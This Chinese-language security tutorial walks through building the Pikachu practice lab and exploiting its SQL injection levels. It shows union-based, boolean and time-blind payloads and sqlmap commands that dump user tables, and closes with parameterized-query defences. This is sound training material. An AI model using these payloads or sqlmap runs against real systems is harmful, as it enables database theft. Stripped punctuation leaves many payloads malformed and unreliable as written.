SQL注入实战:从Pikachu靶场搭建到手工与自动化利用

📅 2026/7/10 9:56:43
SQL注入实战:从Pikachu靶场搭建到手工与自动化利用
1. 项目概述为什么选择Pikachu作为你的第一个SQL注入实战场如果你刚踏入Web安全领域面对“SQL注入”这个名词可能会觉得它既神秘又危险。教科书上的原理讲得头头是道但真让你上手去“注入”一下却不知从何下手。这正是我当年入门时的困惑。后来我发现脱离实战的理论都是空中楼阁而一个设计精良的“靶场”就是连接理论与实践的桥梁。在众多靶场中Pikachu脱颖而出成为我推荐给所有新手的首选。它不像DVWA那样需要复杂的配置也不像SQLi-Labs那样专注于单一漏洞的深度挖掘。Pikachu就像一个精心设计的“漏洞主题乐园”将SQL注入、XSS、文件上传等常见Web漏洞以一个个独立、直观的关卡形式呈现让你能快速上手建立最直接的感官认知。今天我们就聚焦于SQL注入这个Web安全的“头号杀手”。我将带你从零开始完成一次完整的Pikachu靶场搭建并手把手带你进行第一个SQL注入实战练习。我们的目标不仅仅是让你“复现”一个漏洞而是让你彻底理解漏洞是怎么产生的如何一步步发现它利用它我们能做什么以及最重要的如何从根源上避免它这个过程我会把我踩过的坑、总结的技巧毫无保留地分享给你。准备好了吗让我们开始这场从“环境配置”到“漏洞利用”的实战之旅。2. 靶场环境搭建稳扎稳打的第一步在开始“攻击”之前我们必须先搭建一个安全、可控的“战场”。Pikachu靶场基于经典的PHPMySQL架构因此我们需要一个Web服务器和数据库环境。对于新手我强烈推荐使用集成环境包它能帮你省去大量繁琐的配置工作让你把精力集中在核心的安全学习上。2.1 环境选型与工具准备市面上主流的集成环境有PHPStudyWindows、XAMPP跨平台和MAMPmacOS。考虑到国内用户的便利性和稳定性我以PHPStudy V8.1Windows版为例进行讲解。它的优势在于界面友好一键切换PHP/MySQL版本非常适合学习和本地调试。你需要准备的工具有PHPStudy V8.1从官网下载最新版安装包。Pikachu靶场源码从GitHub或相关安全社区获取。一款趁手的代码编辑器如VS Code或Sublime Text用于后续查看和修改源码理解漏洞成因。浏览器推荐使用Chrome或Firefox并提前安装好HackBar或Max HackBar这类浏览器插件。虽然我们初期会手动构造Payload但这类插件能极大提升测试效率。注意请务必从官方或可信渠道下载这些工具避免安装被植入后门的版本。所有操作请在个人电脑或授权的虚拟机中进行绝对不要在未授权的任何线上系统进行测试。2.2 详细搭建步骤与避坑指南接下来我们一步步搭建环境。这个过程看似简单但细节决定成败。步骤一安装与启动PHPStudy运行安装程序路径建议选择D:\phpstudy_pro这类非系统盘目录避免权限问题。安装完成后打开PHPStudy你会看到主界面。点击左侧“网站”菜单然后点击右上角的“创建网站”。在弹出的窗口中进行关键配置域名填写pikachu.test你可以自定义但建议用这个方便记忆。端口HTTP默认80如果80端口被占用如被IIS、Skype占用可改为8080、8088等。根目录点击“浏览”选择一个你计划存放Pikachu源码的文件夹例如D:\www\pikachu。PHP版本选择PHP 5.4.45或PHP 5.6.9。Pikachu对高版本PHP如7.x以上兼容性可能不佳这是第一个容易踩的坑。其他选项保持默认点击“确认”。步骤二部署Pikachu源码将下载的Pikachu源码压缩包解压你会看到一个名为pikachu的文件夹。将这个文件夹内的所有文件注意是文件夹内的内容复制或剪切到上一步你设置的网站根目录D:\www\pikachu下。确保根目录下有index.php、inc等关键文件和文件夹。步骤三初始化数据库这是最关键也最容易出错的一步。在PHPStudy主界面确保Apache和MySQL服务都已启动图标为绿色。打开浏览器访问你刚才设置的域名例如http://pikachu.test。如果一切正常你会看到Pikachu的安装引导页面。页面通常会提示你“数据库连接失败请检查/inc/config.inc.php配置文件”。点击页面上的“安装/初始化数据库”链接或按钮。初始化页面会要求你填写数据库连接信息。PHPStudy默认的MySQL信息是数据库服务器localhost或127.0.0.1数据库用户名root数据库密码root这是PHPStudy的默认密码如果你修改过请填写你修改后的密码数据库名可以填写pikachu点击“初始化”按钮。如果成功页面会提示“数据库初始化成功”。步骤四常见问题排查如果初始化失败别慌十有八九是以下几个原因MySQL服务未启动回到PHPStudy检查MySQL是否为绿色运行状态。数据库密码错误PHPStudy新版本默认密码可能是空或者你之前改过。可以在PHPStudy的“MySQL”设置中查看或重置密码。PHP版本过高这是最常见的问题。Pikachu的部分代码使用了在PHP 7中已被移除或废弃的函数如mysql_*系列函数。务必在PHPStudy的“网站”设置中将本站点的PHP版本切换至5.4或5.6然后重启Apache。文件权限问题确保Web服务器Apache有权限读取和写入网站根目录下的文件。在Windows下通常问题不大如果在Linux下需要注意chmod权限设置。配置文件路径错误如果初始化后依然报错可以手动检查网站根目录下的inc/config.inc.php文件确认其中的数据库连接参数主机名、用户名、密码、数据库名是否正确。当你在浏览器中成功看到Pikachu的首页左侧漏洞菜单清晰罗列时恭喜你战场已经准备就绪3. SQL注入原理深度解析理解漏洞的根源在动手之前我们必须先搞清楚敌人是谁。SQL注入之所以能长期位居OWASP Top 10榜首根本原因在于它利用了“程序代码”与“用户数据”之间模糊的边界。我们用最经典的登录场景来剖析。想象一个简单的用户登录验证的PHP后端代码$username $_POST[username]; // 用户从表单输入的用户名 $password $_POST[password]; // 用户从表单输入的密码 $sql SELECT * FROM users WHERE username$username AND password$password; $result mysql_query($sql);这段代码的逻辑很直接拼接用户输入的用户名和密码形成一条SQL查询语句去数据库里查找匹配的记录。如果用户老老实实输入admin和123456那么生成的SQL语句是SELECT * FROM users WHERE usernameadmin AND password123456这没问题。但问题在于代码完全信任了用户的输入。如果用户在用户名输入框中输入的不是admin而是admin --注意最后有个空格那么拼接后的SQL语句就变成了SELECT * FROM users WHERE usernameadmin -- AND passwordxxx在SQL中--是单行注释符它意味着后面的 AND passwordxxx全部被注释掉了不再生效这条语句的实际含义变成了“从users表中查找用户名为admin的记录”完全绕过了密码验证。这就是一次最基础的SQL注入攻击。漏洞的本质开发者错误地将用户可控的输入数据直接拼接到了程序逻辑SQL语句中导致攻击者可以通过精心构造的输入数据篡改原本的SQL逻辑实现越权查询、数据窃取、甚至篡改和删除数据。Pikachu靶场将这种漏洞原理具象化为十几种不同的场景比如数字型注入、字符型注入、搜索型注入、Insert/Update注入、盲注等。每一种场景都对应着后端代码不同的SQL拼接方式也对应着不同的攻击Payload构造方法。理解了这个核心我们就能以不变应万变。4. 第一个实战数字型注入GET让我们从最简单、最经典的“数字型注入”开始。在Pikachu首页点击左侧“SQL-Inject” - “数字型注入GET”。4.1 漏洞点探测与手工注入流程页面是一个简单的用户信息查询输入一个用户ID点击提交返回对应用户的信息。我们的目标是利用这个输入点获取数据库里本不该被我们看到的其他信息。第一步判断注入点类型在输入框随意输入一个数字比如1点击提交。页面返回了ID为1的用户信息通常是admin。这看起来很正常。现在输入1 and 11。观察页面如果依然返回了admin的信息这是一个积极信号。再输入1 and 12。因为12永远为假如果这个条件被SQL语句执行那么整个查询条件就为假页面应该返回空或错误。如果页面真的返回了空那么几乎可以断定这里存在数字型SQL注入漏洞。为什么因为后端代码很可能是这样写的$id $_GET[id]; $sql SELECT * FROM users WHERE id$id; // 注意这里没有单引号包裹$id当我们输入1 and 11时SQL变为SELECT * FROM users WHERE id1 and 11条件为真返回数据。输入1 and 12时SQL变为SELECT * FROM users WHERE id1 and 12条件为假返回空。这证明了我们输入的and 12被数据库当作了SQL逻辑的一部分执行了而不是普通数据。第二步判断字段数ORDER BY为了后续使用UNION查询联合我们想要的数据我们必须知道当前SQL查询语句最终返回的列数字段数。我们使用ORDER BY子句来探测。 在输入框尝试1 order by 1 1 order by 2 1 order by 3 1 order by 4 ...ORDER BY n表示根据第n列进行排序。如果n小于或等于总列数语句能正常执行如果n大于总列数数据库会报错如“Unknown column”。当你测试到1 order by 4页面正常而1 order by 5页面报错或返回异常时就说明当前查询结果的列数是4。第三步确定回显位知道了有4列我们需要找出哪几列的内容会在网页上显示出来即可见回显位方便我们后续把想要的数据“投射”到这些位置上。使用UNION SELECT语句-1 union select 1,2,3,4这里有几个关键点将原ID设为-1或一个不存在的值目的是让原查询结果为空这样页面就只会显示我们UNION SELECT的结果。UNION SELECT后面的1,2,3,4是一个占位符数量必须等于我们上一步探明的列数4。 提交后观察页面。原本显示用户名、邮箱等信息的地方可能会被数字2、3等替代。比如页面在“用户名”的位置显示了2在“邮箱”的位置显示了3。这就意味着第2列和第3列是回显位。记下它们。第四步获取数据库信息现在我们可以把回显位的数字替换成我们想要查询的数据库函数。查询当前数据库名-1 union select 1,database(),3,4提交后在回显位假设是第2列就会显示当前数据库的名称比如pikachu。查询数据库版本和用户-1 union select 1,version(),user(),4这样可以在不同回显位同时看到MySQL版本和当前数据库用户。第五步拖取表名、列名与数据这是最关键的一步利用MySQL内置的information_schema数据库它存储了所有数据库的元数据有哪些库、表、列。查询所有表名-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schemadatabase()group_concat()函数会将所有结果合并成一行用逗号隔开方便查看。执行后你可能会看到类似httpinfo,member,message,users,xssblind...的结果。我们关注存储用户信息的表比如users。查询指定表users的所有列名-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schemadatabase() and table_nameusers注意表名‘users’需要用单引号括起来。执行后会得到类似id,username,password,level...的结果。最终拖取敏感数据-1 union select 1,username,password,4 from users或者为了更清晰地查看所有用户-1 union select 1,group_concat(username),group_concat(password),4 from users提交后你就能在页面的回显位置上看到所有用户的用户名和密码通常是MD5哈希值。至此一次完整的手工SQL注入攻击就完成了。4.2 核心技巧与注意事项闭合与注释数字型注入之所以简单是因为参数没有被引号包裹。如果是字符型注入你需要先闭合前面的引号再用注释符--或#注释掉后面的引号和代码。例如假设SQL是... WHERE username$input你的Payload可能就是admin and 11 --。信息收集是王道database(),version(),user()这些函数能帮你了解目标环境为后续可能的提权或扩大攻击面做准备。善用group_concat()在字段数有限的情况下用它来合并多行数据是手工注入的必备技巧。保持耐心与细心手工注入是一个试错的过程注意观察页面的每一次细微变化正常显示、错误、空白这些都是重要的反馈信息。5. 进阶实战字符型注入与盲注挑战通过了数字型注入你已经掌握了SQL注入的基本逻辑。但现实中的漏洞往往更隐蔽。Pikachu靶场的“字符型注入GET”和“盲注”关卡就是为了模拟这些复杂情况。5.1 字符型注入的闭合艺术进入“字符型注入GET”关卡。你会发现界面和数字型类似但后端处理逻辑不同。尝试输入1‘一个数字加一个单引号。页面很可能报错了提示SQL语法错误。这是一个强烈的信号说明参数被单引号包裹了。后端代码可能如下$name $_GET[name]; $sql SELECT * FROM users WHERE username$name; // $name被单引号包裹我们的任务就是“逃出”这个引号的包围。Payload构造思路是闭合前面的引号插入我们的恶意代码然后注释掉后面的引号及原SQL逻辑。探测与利用步骤判断闭合方式输入kobe‘靶场提示的一个已知用户名。如果报错说明是单引号闭合。也可以尝试kobe“、kobe‘、kobe“等判断是否是双引号或括号闭合。构造永真条件假设是单引号闭合我们输入kobe‘ and ‘1‘‘1。拼接后的SQL是SELECT * FROM users WHERE usernamekobe and 11这个条件永远为真页面应正常返回kobe的信息。再输入kobe‘ and ‘1‘‘2条件永假页面应返回空。通过这一真一假的对比确认注入点可用。后续步骤确认注入点后后续判断字段数、确定回显位、获取信息的步骤与数字型注入完全一致只需在Payload前后处理好闭合即可。例如判断字段数kobe‘ order by 1 --注意--后面有一个空格这是MySQL注释符的标准写法。也可以使用#URL中需要编码为%23。5.2 盲注在没有回显的黑暗中摸索盲注是SQL注入中更高级、也更常见的形式。当页面不会直接显示数据库错误信息也不会将查询数据回显在页面上时我们就需要依靠“盲注”。盲注分为两种布尔盲注和时间盲注。布尔盲注页面虽然不显示数据但会根据我们注入的SQL语句的“真”或“假”返回不同的页面状态比如“用户存在”或“用户不存在”。时间盲注页面无论真假返回状态都一样。此时我们通过构造让数据库执行延时操作的语句如sleep(5)通过观察页面响应时间是否延迟来判断注入的语句是否为真。Pikachu的“盲注base on boolian”和“盲注base on time”关卡完美演示了这两种情况。以布尔盲注为例手工流程极其繁琐但原理重要判断注入点同样使用‘ and 11 --和‘ and 12 --观察页面是否存在“存在”与“不存在”两种状态。猜解数据长度例如我们要猜解当前数据库名的长度。Payload如下‘ and length(database())1 -- // 页面返回“不存在” ‘ and length(database())2 -- // 页面返回“不存在” ... ‘ and length(database())7 -- // 页面返回“存在”通过不断尝试当页面返回“存在”时我们就知道数据库名长度为7。逐位猜解数据内容知道了长度我们开始猜解每个位置的字符。使用substr()函数和ascii()函数。猜解数据库名第一个字符的ASCII码是否大于100‘ and ascii(substr(database(),1,1))100 --根据页面返回的“存在”或“不存在”我们可以用二分法效率远高于遍历快速缩小范围。比如先判断是否大于128再判断是否大于64...最终确定第一个字符的ASCII码是112对应字母‘p’。然后猜解第二个字符substr(database(),2,1)重复上述过程。 你可以想象要猜解一个7位的数据库名就需要7轮这样的二分猜解。如果要猜解整个users表的所有用户名和密码其工作量是手工无法完成的。这正是自动化工具的价值所在。手工盲注的意义在于理解其原理明白自动化工具在背后做了什么。在实际测试中我们几乎总是依赖sqlmap这样的神器来完成盲注的利用。但原理不通工具的使用就是黑盒遇到复杂过滤或WAF时你将束手无策。6. 自动化利器Sqlmap实战指南手工注入是理解原理的基石但在效率至上的渗透测试中sqlmap是每个安全工程师必备的瑞士军刀。它能够自动完成注入点探测、类型判断、数据提取乃至获取Shell等一系列操作。下面我们结合Pikachu靶场讲解最核心的用法。6.1 基础扫描与信息获取假设我们已经通过手工测试确认了“数字型注入GET”的URL存在漏洞http://pikachu.test/vul/sqli/sqli_id.php?id1。1. 最基本的检测命令sqlmap -u http://pikachu.test/vul/sqli/sqli_id.php?id1运行此命令sqlmap会自动探测参数id是否存在注入点。尝试判断数据库类型如MySQL、MSSQL等。询问你是否要跳过其他类型Payload的测试通常按回车默认即可。如果发现注入点会询问你是否要进一步获取数据。2. 一键获取所有信息如果我们想更“暴力”一点直接获取当前会话权限下的所有信息可以使用sqlmap -u http://pikachu.test/vul/sqli/sqli_id.php?id1 --batch --dbs--batch对所有交互提示都选择默认答案实现全自动化。--dbs枚举所有可访问的数据库。3. 指定数据库进行深入探测知道了数据库名比如pikachu我们可以枚举其中的表sqlmap -u http://pikachu.test/vul/sqli/sqli_id.php?id1 -D pikachu --tables-D pikachu指定目标数据库。--tables列出该数据库中的所有表。4. 拖取表数据对感兴趣的表比如users我们可以直接导出其所有数据sqlmap -u http://pikachu.test/vul/sqli/sqli_id.php?id1 -D pikachu -T users --dump-T users指定目标表。--dump导出拖取该表的所有数据。sqlmap会自动尝试破解表中的哈希密码如MD5。6.2 处理POST请求与高级参数很多注入点存在于表单提交中使用POST方法传参。例如Pikachu的“搜索型注入”或“POST型注入”。这时我们需要将POST数据提供给sqlmap。方法一使用--data参数首先用浏览器插件如HackBar或Burp Suite抓取提交表单时的POST请求数据。假设数据是usernameadminpassword123。sqlmap -u http://pikachu.test/vul/sqli/sqli_post.php --datausernameadminpassword123sqlmap会自动解析--data中的参数进行测试。方法二使用请求文件推荐更稳妥的方式是将整个HTTP请求包括Cookie、User-Agent等头信息保存到一个文本文件中然后用-r参数加载。用Burp Suite抓包将原始请求复制到文件post.txt中。sqlmap -r post.txt这种方式最接近浏览器真实请求成功率最高。高级参数解析--level和--risk控制测试的深度和风险。--level 1默认级别只测试GET/POST参数。--level 2增加Cookie注入测试。--level 3增加User-Agent、Referer等HTTP头注入测试。Pikachu的“HTTP头注入”关卡就需要用到此级别。--risk 1默认风险使用最安全的Payload。--risk 2增加基于时间的盲注测试。--risk 3增加OR条件的Payload可能导致数据修改如OR 11慎用。--technique指定注入技术。例如--techniqueB只使用布尔盲注--techniqueT只使用时间盲注。当你知道漏洞类型时可以指定以加快速度。--tamper使用混淆脚本绕过WAFWeb应用防火墙。例如--tamperspace2comment将空格替换为注释符。6.3 实战利用Sqlmap通关Pikachu盲注以“盲注base on boolian”为例URL为http://pikachu.test/vul/sqli/sqli_blind_b.php?namekobesubmit%E6%9F%A5%E8%AF%A2。我们发现输入kobe‘ and 11 --和12时页面有“用户存在”和“用户不存在”的区别这是一个典型的布尔盲注点。我们可以使用以下命令让sqlmap自动完成我们之前手工做的繁琐猜解工作sqlmap -u http://pikachu.test/vul/sqli/sqli_blind_b.php?namekobesubmit%E6%9F%A5%E8%AF%A2 --batch --techniqueB --current-db--techniqueB明确指定使用布尔盲注技术。--current-db获取当前数据库名。sqlmap会展示它如何通过一系列真/假查询一步步推断出数据库名。之后你可以用--dbs、-D、-T、--dump等参数链式操作完整地拖出整个数据库。看着工具飞速地跑出结果你会深刻体会到自动化带来的解放。重要心得不要过度依赖工具。我建议的流程是先用手工理解漏洞原理和利用链 - 再用工具进行批量、快速的验证和数据提取。这样既能保证技术的深度又能提升工作的效率。同时在正式对客户系统测试前务必在像Pikachu这样的靶场里充分练习理解每个参数的含义避免误操作。7. 从攻击到防御代码层安全实践经历了完整的攻击流程我们更应该思考如何防御。所有SQL注入防御的核心思想都是一致的将代码SQL指令与数据用户输入清晰分离。7.1 根本解决方案参数化查询预编译语句这是唯一被广泛认可的可从根本上防止SQL注入的方法。以PHP的PDO扩展为例// 不安全的写法拼接 $sql SELECT * FROM users WHERE id . $_GET[id]; $stmt $pdo-query($sql); // 安全的写法参数化查询 $sql SELECT * FROM users WHERE id :id; $stmt $pdo-prepare($sql); $stmt-execute([:id $_GET[id]]);在参数化查询中SQL语句的模板SELECT * FROM users WHERE id :id是先被数据库编译的。之后传入的:id参数无论其内容是什么都会被当作纯粹的数据来处理而不会被解释为SQL指令的一部分。即使攻击者传入1 or 11数据库也只会将它作为一个完整的字符串去查找ID字段值为“1 or 11”的记录而不会去执行or逻辑。7.2 辅助方案与常见误区虽然参数化查询是黄金准则但现实中我们仍会看到其他方法需要正确认识其局限性输入过滤与转义如使用mysql_real_escape_string()或addslashes()函数。这种方法在简单场景下可能有效但极易因遗漏如忘记过滤某个参数、或底层字符编码问题如经典的GBK宽字节注入而失效。它不应作为主要的防御手段只能作为深度防御的一环。使用ORM框架如Laravel的Eloquent、ThinkPHP的Model。好的ORM框架底层会使用参数化查询但开发者若错误地使用其提供的“原生查询”或“SQL拼接”方法仍然可能引入漏洞。Web应用防火墙WAFWAF可以通过规则匹配拦截常见的SQL注入攻击特征。但它是一种“缓解”措施而非“修复”措施。攻击者可能通过编码、混淆等方式绕过WAF规则。安全的核心应在应用代码本身。7.3 安全开发 checklist在代码审计或自我审查时可以遵循以下清单是否所有数据库交互都使用了参数化查询预编译语句全局搜索query(、execute(等函数检查其SQL语句是否通过拼接生成。是否最小化了数据库操作权限连接数据库的账号是否只拥有应用所需的最小权限如只有SELECT、INSERT没有DROP、FILE等这能在漏洞被利用时限制破坏范围。是否关闭了错误回显生产环境应禁用PHP的display_errors避免将数据库错误信息直接暴露给用户这会给攻击者提供宝贵线索。是否对输入进行了合理的类型校验对于ID、年龄等本应是数字的参数在传入SQL前用intval()等函数进行强制类型转换。通过Pikachu靶场的实战我们亲身体验了攻击者是如何利用一个微小的输入点逐步撬开整个数据库大门的。这种体验会让你在日后编写代码时对用户输入产生一种“条件反射”式的警惕。记住安全不是一个功能而是一种贯穿于设计、开发、测试全流程的思维方式。从看懂漏洞到利用漏洞再到修复漏洞这才是通过靶场学习所能获得的完整能力闭环。